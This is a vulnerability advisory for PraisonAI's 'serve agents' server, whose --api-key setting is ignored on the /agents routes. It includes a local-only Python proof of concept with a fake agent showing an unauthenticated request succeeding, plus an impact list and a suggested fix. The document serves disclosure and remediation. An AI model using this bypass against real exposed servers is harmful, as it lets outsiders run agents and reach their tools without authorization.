---
id: CVE-2026-55534
aliases:
  - GHSA-7ww9-85pg-cv4x
  - PYSEC-2026-3887
title: >-
  PraisonAI serve agents --api-key is ignored, allowing unauthenticated remote
  agent execution
summary: >-
  PraisonAI serve agents --api-key is ignored, allowing unauthenticated remote
  agent execution
severity: high
cvss: 8.6
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H'
vendor: praisonai
product: praisonai
ecosystem: pip
affected:
  - 'praisonai >= 4.6.34, < 4.6.58'
patched:
  - praisonai 4.6.58
published: '2026-08-25'
updated: '2026-09-10'
sourceUpdated: '2026-09-10T12:26:04.167325753Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-7ww9-85pg-cv4x'
references:
  - url: >-
      https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7ww9-85pg-cv4x
  - url: >-
      https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1
  - url: 'https://github.com/MervinPraison/PraisonAI'
  - url: 'https://github.com/MervinPraison/PraisonAI/releases/tag/v4.6.58'
  - url: 'https://pypi.org/project/praisonai'
  - url: 'https://github.com/advisories/GHSA-7ww9-85pg-cv4x'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-55534'
tags:
  - osv
  - pip
  - nvd
  - ghsa
epss: 0.00453
epssPercentile: 0.36705
cwe:
  - CWE-306
ingestedAt: '2026-08-25T15:27:53.538Z'
---

## Overview

### Summary

  PraisonAI's `praisonai serve agents` command exposes `--api-key` as the documented
  authentication control for production/external deployments, but the configured key is not
  enforced on the public agent invocation compatibility endpoints.

  An operator can start the server with `--api-key` and bind it to `0.0.0.0`, but any network-
  reachable caller can still invoke agents through `POST /agents` or `POST /agents/
  {agent_name}` without `Authorization`, `X-API-Key`, a query token, or any other credential.

  Confirmed vulnerable:
  - v4.6.48 / commit `d5f1114aaf1a2e9f121a6e66b929149ca2201f1d`
  - v4.6.34 / commit `e5928449f73f66cc8af1de61621aa974ab255133`

  Likely affected range: `>= 4.6.34, <= 4.6.48`.

  This is distinct from CVE-2026-44338 / GHSA-6rmh-7xcm-cpxj, which covered the legacy Flask
  `api_server.py` path before 4.6.34. This report concerns the newer FastAPI `serve agents
  --api-key` code path and is confirmed in v4.6.48.

  ### Details

  The CLI accepts and forwards an API key:

  - `src/praisonai/praisonai/cli/commands/serve.py:156` defines `praisonai serve agents`
  - `src/praisonai/praisonai/cli/commands/serve.py:162` exposes `--api-key`
  - `src/praisonai/praisonai/cli/commands/serve.py:175-176` forwards the supplied key
  - `src/praisonai/praisonai/cli/features/serve.py:191` handles the `agents` subcommand
  - `src/praisonai/praisonai/cli/features/serve.py:199` parses `api_key` into the config

  However, `_create_agents_app()` never uses `config["api_key"]` to create middleware or a
  FastAPI auth dependency:

  - `src/praisonai/praisonai/cli/features/serve.py:228` creates the FastAPI app
  - `src/praisonai/praisonai/cli/features/serve.py:287` registers `POST {path}` with no auth
  dependency
  - `src/praisonai/praisonai/cli/features/serve.py:346` registers `POST /agents/{agent_name}`
  with no auth dependency
  - `src/praisonai/praisonai/cli/features/serve.py:356-370` executes the registered agent
  directly

  The same app also mounts `praisonai.api.agent_invoke`, whose `/api/v1/agents/{agent_id}/
  invoke` route is protected separately by `CALL_SERVER_TOKEN`. That means the protected `/
  api/v1` route and the unauthenticated `/agents` compatibility routes coexist in the same
  server. Setting `--api-key` does not protect the compatibility routes.

  ### PoC

  This local-only PoC does not open a network listener and does not call an LLM provider. It
  constructs the FastAPI app through the real `ServeHandler._create_agents_app()` path with
  `api_key` set, registers a fake agent, and sends an unauthenticated request using FastAPI
  `TestClient`.

  ```python
  #!/usr/bin/env python3
  from __future__ import annotations

  import sys
  import tempfile
  from pathlib import Path

  REPO = Path("/path/to/PraisonAI")
  sys.path[:0] = [
      str(REPO / "src" / "praisonai"),
      str(REPO / "src" / "praisonai-agents"),
  ]

  class FakeAgent:
      def __init__(self):
          self.calls = []

      def start(self, query):
          self.calls.append(query)
          return f"fake-agent-ran:{query}"

  def main() -> None:
      from fastapi.testclient import TestClient
      from praisonai.cli.features.serve import ServeHandler
      from praisonai.api import agent_invoke

      with tempfile.TemporaryDirectory() as tmp:
          agents_yaml = Path(tmp) / "agents.yaml"
          agents_yaml.write_text(
              "roles:\n"
              "  placeholder:\n"
              "    role: Placeholder\n"
              "    goal: Placeholder\n"
              "    backstory: Placeholder\n",
              encoding="utf-8",
          )

          handler = ServeHandler()
          app = handler._create_agents_app(
              {
                  "file": str(agents_yaml),
                  "host": "0.0.0.0",
                  "port": 8000,
                  "path": "/agents",
                  "reload": False,
                  "api_key": "operator-secret-api-key",
              }
          )

          fake_agent = FakeAgent()
          agent_invoke.register_agent("poc", fake_agent)

          client = TestClient(app)
          response = client.post(
              "/agents/poc",
              json={"query": "unauthenticated request"},
          )

          print(f"STATUS_CODE={response.status_code}")
          print(f"RESPONSE_JSON={response.json()!r}")
          print(f"AGENT_CALLS={fake_agent.calls!r}")
          print(f"UNAUTHENTICATED_AGENT_EXECUTED={fake_agent.calls == ['unauthenticated
          request']}")

  if __name__ == "__main__":
      main()

  Run:

  cd /path/to/PraisonAI
  python3 praisonai-serve-agents-api-key-bypass.py

  Observed output:

  STATUS_CODE=200
  RESPONSE_JSON={'response': 'fake-agent-ran:unauthenticated request'}
  AGENT_CALLS=['unauthenticated request']
  UNAUTHENTICATED_AGENT_EXECUTED=True

  The important condition is that the app was configured with:

  "api_key": "operator-secret-api-key"

  but the request was sent without any auth header:

  client.post("/agents/poc", json={"query": "unauthenticated request"})

  The agent still executed and returned HTTP 200.

  ### Impact

  Any attacker who can reach a praisonai serve agents server can invoke configured agents even
  when the operator explicitly configured --api-key.

  Impact depends on the configured agents and their tools, but can include:

  - unauthorized LLM/API usage and provider cost consumption;
  - execution of agent workflows;
  - access to connected tool integrations;
  - reads/writes through file, database, cloud, browser, MCP, or messaging tools;
  - availability impact from repeated or long-running agent invocations.

  This is especially risky because the documented production pattern recommends using --api-
  key when binding the server publicly.

  ### Suggested fix

  Fail closed when --api-key is configured and require it on every agent invocation route in
  the serve agents app.

  Recommended changes:

  - In _create_agents_app(), derive an auth dependency from config.get("api_key").
  - Apply it to both POST {path} and POST /agents/{agent_name}.
  - Prefer Authorization: Bearer <api_key>. Optionally also support X-API-Key for
    compatibility.

  - Use constant-time comparison for the expected key.
  - Clarify or unify the relationship between --api-key and CALL_SERVER_TOKEN.
  - Add tests proving:
      - key configured + no header returns 401/403;
      - key configured + wrong header returns 401/403;
      - key configured + correct header executes;
      - both /agents and /agents/{agent_name} are covered.

## Affected packages

- `praisonai >= 4.6.34, < 4.6.58`

## Remediation

Upgrade to a patched release:

- `praisonai 4.6.58`
